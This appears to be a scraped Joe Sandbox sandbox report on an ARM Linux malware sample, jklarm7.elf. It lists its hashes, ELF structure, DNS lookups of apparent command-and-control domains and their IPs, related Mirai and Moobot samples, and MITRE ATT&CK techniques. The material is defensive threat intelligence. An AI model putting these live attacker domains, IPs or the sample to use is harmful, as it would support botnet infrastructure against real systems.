50.170.98.165	unknown	United States	7922	COMCAST-7922US	false
136.173.126.49	unknown	Luxembourg	43375	EP-ASEU	false
19.128.124.208	unknown	United States	3	MIT-GATEWAYSUS	false
91.167.29.247	unknown	France	12322	PROXADFR	false
125.78.46.237	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
5.18.198.107	unknown	Russian Federation	41733	ZTELECOM-ASRU	false
213.240.173.220	unknown	Germany	8820	TAL-DERobertstrasse6DE	false
114.72.104.54	unknown	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
139.9.46.253	unknown	China	55990	HWCSNETHuaweiCloudServicedatacenterCN	false
223.157.146.118	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
53.133.42.6	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
184.35.143.164	unknown	United States	5778	CENTURYLINK-LEGACY-EMBARQ-RCMTUS	false
91.249.140.215	unknown	Germany	9145	EWETELCloppenburgerStrasse310DE	false
126.117.204.113	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
222.156.110.209	unknown	Taiwan; Republic of China (ROC)	7482	APOL-ASAsiaPacificOn-lineServiceIncTW	false
185.226.55.47	unknown	Russian Federation	47764	MAILRU-ASMailRuRU	false
138.84.49.113	unknown	United States	7018	ATT-INTERNET4US	false
141.143.101.81	unknown	Sweden	1224	NCSA-ASUS	false
132.153.154.235	unknown	United Kingdom	306	DNIC-ASBLK-00306-00371US	false
111.97.115.27	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
22.178.187.215	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
40.252.115.11	unknown	United States	4249	LILLY-ASUS	false
175.224.164.238	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
118.242.28.161	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
1.12.16.69	unknown	China	13335	CLOUDFLARENETUS	false
81.125.160.165	unknown	Italy	20746	ASN-IDCTNOOMINCIT	false
71.180.121.252	unknown	United States	5650	FRONTIER-FRTRUS	false
77.221.72.102	unknown	Lithuania	21412	CGATES-ASLT	false
40.193.212.155	unknown	United States	4249	LILLY-ASUS	false
158.213.84.127	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
199.11.91.203	unknown	United States	3648	SPRINT-BB3US	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
222.57.24.84	rkLmMQcLCU.elf	Get hash	malicious	Unknown	Browse
160.142.69.126	MwPM17s9Mb.elf	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ohlookthereismyboats.geek	jklsh4.elf	Get hash	malicious	Unknown	Browse	159.89.101.70
	arm5.elf	Get hash	malicious	Unknown	Browse	64.227.79.152
	nabspc.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	splspc.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nklx86.elf	Get hash	malicious	Unknown	Browse	159.89.101.70
	nklarm.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	zerarm.elf	Get hash	malicious	Unknown	Browse	64.227.79.152
	zerarm5.elf	Get hash	malicious	Unknown	Browse	64.227.79.152
	nklspc.elf	Get hash	malicious	Unknown	Browse	64.227.79.152
	zermips.elf	Get hash	malicious	Unknown	Browse	159.89.101.70
watchmepull.dyn	nklmips.elf	Get hash	malicious	Unknown	Browse	159.89.101.70

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CHINANET-BACKBONENo31Jin-rongStreetCN	jklsh4.elf	Get hash	malicious	Unknown	Browse	61.155.76.246
	arm5.elf	Get hash	malicious	Unknown	Browse	123.163.222.205
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	118.124.140.21
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	125.85.204.131
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	171.83.184.208
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	113.65.179.53
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	183.46.137.127
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	220.161.120.96
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	222.215.228.77
	nabspc.elf	Get hash	malicious	Unknown	Browse	144.123.141.107
CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	jklsh4.elf	Get hash	malicious	Unknown	Browse	112.84.13.118
	arm5.elf	Get hash	malicious	Unknown	Browse	116.154.155.180
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	123.144.247.116
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	123.14.22.109
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	42.59.140.92
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	27.197.19.107
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	119.62.24.107
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	1.191.91.232
	nabspc.elf	Get hash	malicious	Unknown	Browse	36.251.92.111
	splspc.elf	Get hash	malicious	Unknown	Browse	60.223.85.119
CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	https://tavipulse.com/67a0c8749504c05865fba2d3	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	8.213.160.91
	nklarm.elf	Get hash	malicious	Unknown	Browse	8.218.15.253
	sh4.elf	Get hash	malicious	Mirai	Browse	8.208.174.96
	spc.elf	Get hash	malicious	Mirai	Browse	8.217.36.212
	arm7.elf	Get hash	malicious	Mirai	Browse	8.222.188.22
	letsVPN.exe	Get hash	malicious	Unknown	Browse	8.223.56.120
	letsVPN.exe	Get hash	malicious	Unknown	Browse	8.223.59.150
	[System Process]12.exe	Get hash	malicious	GhostRat, Mimikatz, Nitol	Browse	8.218.113.210
	efefa7.elf	Get hash	malicious	Mirai	Browse	8.213.150.15
	mpsl.elf	Get hash	malicious	Unknown	Browse	8.223.119.193
Network-PlatformsZA	wPA6CgLlzm.elf	Get hash	malicious	Moobot	Browse	154.66.185.41
Network-PlatformsZA	percx86	Get hash	malicious	Unknown	Browse	154.66.184.207
MICROSOFT-CORP-MSN-AS-BLOCKUS	jklsh4.elf	Get hash	malicious	Unknown	Browse	21.38.91.182
	arm5.elf	Get hash	malicious	Unknown	Browse	20.248.35.209
	rBMSC_Comproban.exe	Get hash	malicious	FormBook	Browse	204.79.197.203
	niceskillbestexperiencegivenmegood.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	204.79.197.203
	COTA#U00c7#U00c3O.xls	Get hash	malicious	Unknown	Browse	13.107.246.67
	Nouvelle_commande9353834.xls	Get hash	malicious	Unknown	Browse	52.109.76.243
	Order_Mar25.xls	Get hash	malicious	Unknown	Browse	13.107.246.67
	COTA#U00c7#U00c3O.xls	Get hash	malicious	Unknown	Browse	13.107.246.76
	Nouvelle_commande9353834.xls	Get hash	malicious	Unknown	Browse	52.123.129.14
	Order_Mar25.xls	Get hash	malicious	Unknown	Browse	52.123.128.14

Process:	/tmp/jklarm7.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	3.2790196086555996
Encrypted:	false
SSDEEP:	3:FVHvg9FQWUT5FFNFirT/VUR93FQWUT5FFNFvVqHHT/VVdf/FVLADsVHI1v/VVdf/:PvNDFC/VUR4DFdC/VjmsVot/VOArB/VH
MD5:	F2A3B28C6B0E8AAA4AC141FBEBA09DF8
SHA1:	2D87623B4FC6C84CA41F67288E23B107B2BFA71D
SHA-256:	C846DDF484071DF43C0F8A1A5B74DC29B8B20BC7191931B78214BC689F31EA92
SHA-512:	795494F1EA198FC4563379BD2C9DB563D4C569FD00EBD422223D1B63E4160137D312A63E4467A88767BB5AAB2937423496C8A913702DA57C9BE3D2E6AC185307
Malicious:	false
Reputation:	low
Preview:	8000-1d000 r-xp 00000000 fd:00 531606 /tmp/..24000-25000 rw-p 00014000 fd:00 531606 /tmp/..25000-2b000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

Source: jklarm7.elf	ReversingLabs: Detection: 47%
Source: jklarm7.elf	Virustotal: Detection: 44%			Perma Link

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.070442378976759
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	jklarm7.elf
File size:	84'548 bytes
MD5:	a9675614a267473cb83e195d9074a067
SHA1:	a4d148cf841fc2b84c8bb3dd322e40f601532875
SHA256:	fe4e8d464b7849a5483782d0c47e53deaf199e284badad12ed98ca79e47a79d9
SHA512:	8adcc5df013328218823d3310bcc4f27f6e1e9e51de2e7ecd5521873f5ac6cc2315f9136e1599f1da4114e65eaed23449e78f9ce04062243aa8ec793086b1c28
SSDEEP:	1536:BRn0RQX3XBK48wT+4D3H2qFzu6gRGrkesfzx3n7etZNlncUGqDllWYi/XRAsmzXT:XXnBA4D3HLFzut/euzN7etZNlncUSpXk
TLSH:	0783F646FD819B15D5D922BEFA1E118D335317A8E3EF7202DD105F253B8A92B0E7BA01
File Content Preview:	.ELF..............(.........4....G......4. ...(........p.C...........................................D...D...............D...D...D..X...pB...............D...D...D..................Q.td..................................-...L..................@-.,@...0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	83868
Section Header Size:	40
Number of Section Headers:	17
Header String Table Index:	16

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	4
.text	PROGBITS	0x80f0	0xf0	0x132b8	0x0	0x6	AX	0	16
.fini	PROGBITS	0x1b3a8	0x133a8	0x10	0x0	0x6	AX	0	4
.rodata	PROGBITS	0x1b3b8	0x133b8	0xfbc	0x0	0x2	A	0	4
.ARM.extab	PROGBITS	0x1c374	0x14374	0x18	0x0	0x2	A	0	4
.ARM.exidx	ARM_EXIDX	0x1c38c	0x1438c	0x118	0x0	0x82	AL	2	4
.eh_frame	PROGBITS	0x244a4	0x144a4	0x4	0x0	0x3	WA	0	4
.tbss	NOBITS	0x244a8	0x144a8	0x8	0x0	0x403	WAT	0	4
.init_array	INIT_ARRAY	0x244a8	0x144a8	0x4	0x0	0x3	WA	0	4
.fini_array	FINI_ARRAY	0x244ac	0x144ac	0x4	0x0	0x3	WA	0	4
.jcr	PROGBITS	0x244b0	0x144b0	0x4	0x0	0x3	WA	0	4
.got	PROGBITS	0x244b4	0x144b4	0xa8	0x4	0x3	WA	0	4
.data	PROGBITS	0x2455c	0x1455c	0x1a0	0x0	0x3	WA	0	4
.bss	NOBITS	0x246fc	0x146fc	0x4018	0x0	0x3	WA	0	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x146fc	0x16	0x0	0x0		0	1
.shstrtab	STRTAB	0x0	0x14712	0x88	0x0	0x0		0	1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x1438c	0x1c38c	0x1c38c	0x118	0x118	4.5024	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x144a4	0x144a4	6.0891	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x144a4	0x244a4	0x244a4	0x258	0x4270	3.5927	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0x144a8	0x244a8	0x244a8	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 11, 2025 00:33:35.085557938 CET	192.168.2.23	185.181.61.24	0x40c2	Standard query (0)	watchmepull.dyn	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:33:57.603379965 CET	192.168.2.23	185.181.61.24	0x1f0e	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:34:09.199539900 CET	192.168.2.23	202.61.197.122	0x4209	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:34:20.896441936 CET	192.168.2.23	152.53.15.127	0x3966	Standard query (0)	watchmepull.dyn. [malformed]	256	508	false
Mar 11, 2025 00:34:20.921144962 CET	192.168.2.23	152.53.15.127	0x3966	Standard query (0)	watchmepull.dyn. [malformed]	256	508	false
Mar 11, 2025 00:34:20.945275068 CET	192.168.2.23	152.53.15.127	0x3966	Standard query (0)	watchmepull.dyn. [malformed]	256	508	false
Mar 11, 2025 00:34:20.963515997 CET	192.168.2.23	152.53.15.127	0x3966	Standard query (0)	watchmepull.dyn. [malformed]	256	508	false
Mar 11, 2025 00:34:20.987587929 CET	192.168.2.23	152.53.15.127	0x3966	Standard query (0)	watchmepull.dyn. [malformed]	256	509	false
Mar 11, 2025 00:34:32.614586115 CET	192.168.2.23	168.235.111.72	0x8952	Standard query (0)	watchmepull.dyn. [malformed]	256	264	false
Mar 11, 2025 00:34:32.703443050 CET	192.168.2.23	168.235.111.72	0x8952	Standard query (0)	watchmepull.dyn. [malformed]	256	264	false
Mar 11, 2025 00:34:32.793423891 CET	192.168.2.23	168.235.111.72	0x8952	Standard query (0)	watchmepull.dyn. [malformed]	256	265	false
Mar 11, 2025 00:34:33.046031952 CET	192.168.2.23	168.235.111.72	0x8952	Standard query (0)	watchmepull.dyn. [malformed]	256	265	false
Mar 11, 2025 00:34:33.138178110 CET	192.168.2.23	168.235.111.72	0x8952	Standard query (0)	watchmepull.dyn. [malformed]	256	265	false
Mar 11, 2025 00:34:44.827032089 CET	192.168.2.23	194.36.144.87	0x9b26	Standard query (0)	watchmepull.dyn. [malformed]	256	276	false
Mar 11, 2025 00:34:44.850903034 CET	192.168.2.23	194.36.144.87	0x9b26	Standard query (0)	watchmepull.dyn. [malformed]	256	276	false
Mar 11, 2025 00:34:44.868235111 CET	192.168.2.23	194.36.144.87	0x9b26	Standard query (0)	watchmepull.dyn. [malformed]	256	276	false
Mar 11, 2025 00:34:44.886059046 CET	192.168.2.23	194.36.144.87	0x9b26	Standard query (0)	watchmepull.dyn. [malformed]	256	276	false
Mar 11, 2025 00:34:44.909797907 CET	192.168.2.23	194.36.144.87	0x9b26	Standard query (0)	watchmepull.dyn. [malformed]	256	276	false
Mar 11, 2025 00:34:56.149972916 CET	192.168.2.23	185.181.61.24	0xf9da	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:35:07.780683041 CET	192.168.2.23	51.158.108.203	0x5cf9	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:35:19.378760099 CET	192.168.2.23	194.36.144.87	0x6335	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:35:30.963459015 CET	192.168.2.23	202.61.197.122	0x6ef5	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 11, 2025 00:33:35.121181011 CET	185.181.61.24	192.168.2.23	0x40c2	No error (0)	watchmepull.dyn		64.227.79.152	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:33:35.121181011 CET	185.181.61.24	192.168.2.23	0x40c2	No error (0)	watchmepull.dyn		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:33:35.121181011 CET	185.181.61.24	192.168.2.23	0x40c2	No error (0)	watchmepull.dyn		159.89.101.70	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:33:35.121181011 CET	185.181.61.24	192.168.2.23	0x40c2	No error (0)	watchmepull.dyn		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:33:35.121181011 CET	185.181.61.24	192.168.2.23	0x40c2	No error (0)	watchmepull.dyn		193.143.1.116	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:33:57.639101982 CET	185.181.61.24	192.168.2.23	0x1f0e	No error (0)	ohlookthereismyboats.geek		193.143.1.116	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:33:57.639101982 CET	185.181.61.24	192.168.2.23	0x1f0e	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:33:57.639101982 CET	185.181.61.24	192.168.2.23	0x1f0e	No error (0)	ohlookthereismyboats.geek		64.227.79.152	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:33:57.639101982 CET	185.181.61.24	192.168.2.23	0x1f0e	No error (0)	ohlookthereismyboats.geek		159.89.101.70	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:33:57.639101982 CET	185.181.61.24	192.168.2.23	0x1f0e	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:34:09.315979958 CET	202.61.197.122	192.168.2.23	0x4209	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:34:09.315979958 CET	202.61.197.122	192.168.2.23	0x4209	No error (0)	ohlookthereismyboats.geek		193.143.1.116	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:34:09.315979958 CET	202.61.197.122	192.168.2.23	0x4209	No error (0)	ohlookthereismyboats.geek		64.227.79.152	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:34:09.315979958 CET	202.61.197.122	192.168.2.23	0x4209	No error (0)	ohlookthereismyboats.geek		159.89.101.70	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:34:09.315979958 CET	202.61.197.122	192.168.2.23	0x4209	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:34:20.919540882 CET	152.53.15.127	192.168.2.23	0x3966	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	508	false
Mar 11, 2025 00:34:20.944199085 CET	152.53.15.127	192.168.2.23	0x3966	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	508	false
Mar 11, 2025 00:34:20.962519884 CET	152.53.15.127	192.168.2.23	0x3966	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	508	false
Mar 11, 2025 00:34:20.986529112 CET	152.53.15.127	192.168.2.23	0x3966	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	508	false
Mar 11, 2025 00:34:21.010358095 CET	152.53.15.127	192.168.2.23	0x3966	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	509	false
Mar 11, 2025 00:34:44.849966049 CET	194.36.144.87	192.168.2.23	0x9b26	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	276	false
Mar 11, 2025 00:34:44.867589951 CET	194.36.144.87	192.168.2.23	0x9b26	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	276	false
Mar 11, 2025 00:34:44.885438919 CET	194.36.144.87	192.168.2.23	0x9b26	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	276	false
Mar 11, 2025 00:34:44.909162998 CET	194.36.144.87	192.168.2.23	0x9b26	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	276	false
Mar 11, 2025 00:34:44.934036970 CET	194.36.144.87	192.168.2.23	0x9b26	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	276	false
Mar 11, 2025 00:34:56.185868025 CET	185.181.61.24	192.168.2.23	0xf9da	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:34:56.185868025 CET	185.181.61.24	192.168.2.23	0xf9da	No error (0)	ohlookthereismyboats.geek		159.89.101.70	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:34:56.185868025 CET	185.181.61.24	192.168.2.23	0xf9da	No error (0)	ohlookthereismyboats.geek		64.227.79.152	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:34:56.185868025 CET	185.181.61.24	192.168.2.23	0xf9da	No error (0)	ohlookthereismyboats.geek		193.143.1.116	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:34:56.185868025 CET	185.181.61.24	192.168.2.23	0xf9da	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:35:07.796279907 CET	51.158.108.203	192.168.2.23	0x5cf9	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:35:07.796279907 CET	51.158.108.203	192.168.2.23	0x5cf9	No error (0)	ohlookthereismyboats.geek		193.143.1.116	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:35:07.796279907 CET	51.158.108.203	192.168.2.23	0x5cf9	No error (0)	ohlookthereismyboats.geek		159.89.101.70	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:35:07.796279907 CET	51.158.108.203	192.168.2.23	0x5cf9	No error (0)	ohlookthereismyboats.geek		64.227.79.152	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:35:07.796279907 CET	51.158.108.203	192.168.2.23	0x5cf9	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:35:19.395642042 CET	194.36.144.87	192.168.2.23	0x6335	No error (0)	ohlookthereismyboats.geek		64.227.79.152	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:35:19.395642042 CET	194.36.144.87	192.168.2.23	0x6335	No error (0)	ohlookthereismyboats.geek		193.143.1.116	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:35:19.395642042 CET	194.36.144.87	192.168.2.23	0x6335	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:35:19.395642042 CET	194.36.144.87	192.168.2.23	0x6335	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:35:19.395642042 CET	194.36.144.87	192.168.2.23	0x6335	No error (0)	ohlookthereismyboats.geek		159.89.101.70	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:35:30.981017113 CET	202.61.197.122	192.168.2.23	0x6ef5	No error (0)	ohlookthereismyboats.geek		193.143.1.116	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:35:30.981017113 CET	202.61.197.122	192.168.2.23	0x6ef5	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:35:30.981017113 CET	202.61.197.122	192.168.2.23	0x6ef5	No error (0)	ohlookthereismyboats.geek		159.89.101.70	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:35:30.981017113 CET	202.61.197.122	192.168.2.23	0x6ef5	No error (0)	ohlookthereismyboats.geek		64.227.79.152	A (IP address)	IN (0x0001)	false
Mar 11, 2025 00:35:30.981017113 CET	202.61.197.122	192.168.2.23	0x6ef5	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false

Start time (UTC):	23:33:32
Start date (UTC):	10/03/2025
Path:	/tmp/jklarm7.elf
Arguments:	/tmp/jklarm7.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	23:33:33
Start date (UTC):	10/03/2025
Path:	/tmp/jklarm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	23:33:34
Start date (UTC):	10/03/2025
Path:	/tmp/jklarm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report jklarm7.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0CGHOg (deleted)

/tmp/qemu-open.0D6BOi (deleted)

/tmp/qemu-open.0QqN2g (deleted)

/tmp/qemu-open.0lkHkh (deleted)

/tmp/qemu-open.0tDBvi (deleted)

/tmp/qemu-open.0zohSe (deleted)

/tmp/qemu-open.1IqOme (deleted)

/tmp/qemu-open.1KDkbg (deleted)

/tmp/qemu-open.1PKKje (deleted)

/tmp/qemu-open.2kR41e (deleted)

/tmp/qemu-open.32XdQe (deleted)

/tmp/qemu-open.39qNXf (deleted)

/tmp/qemu-open.3H2Dyh (deleted)

/tmp/qemu-open.3T1z0h (deleted)

/tmp/qemu-open.3jWdIg (deleted)

/tmp/qemu-open.3p9xug (deleted)

/tmp/qemu-open.5xmymi (deleted)

/tmp/qemu-open.6cEare (deleted)

/tmp/qemu-open.6uZBte (deleted)

/tmp/qemu-open.74MAve (deleted)

/tmp/qemu-open.7BCScg (deleted)

/tmp/qemu-open.7DMRZh (deleted)

/tmp/qemu-open.7gkbwh (deleted)

/tmp/qemu-open.7lxbMg (deleted)

/tmp/qemu-open.8O7Bqf (deleted)

/tmp/qemu-open.9ixqqg (deleted)

/tmp/qemu-open.AtYhbh (deleted)

/tmp/qemu-open.AxK2Ci (deleted)

/tmp/qemu-open.B3ZA9f (deleted)

/tmp/qemu-open.B9dgJi (deleted)

/tmp/qemu-open.Bw5ZXh (deleted)

/tmp/qemu-open.CF5QVf (deleted)

/tmp/qemu-open.CtlW7g (deleted)

/tmp/qemu-open.Dii3ii (deleted)

Linux Analysis Report
jklarm7.elf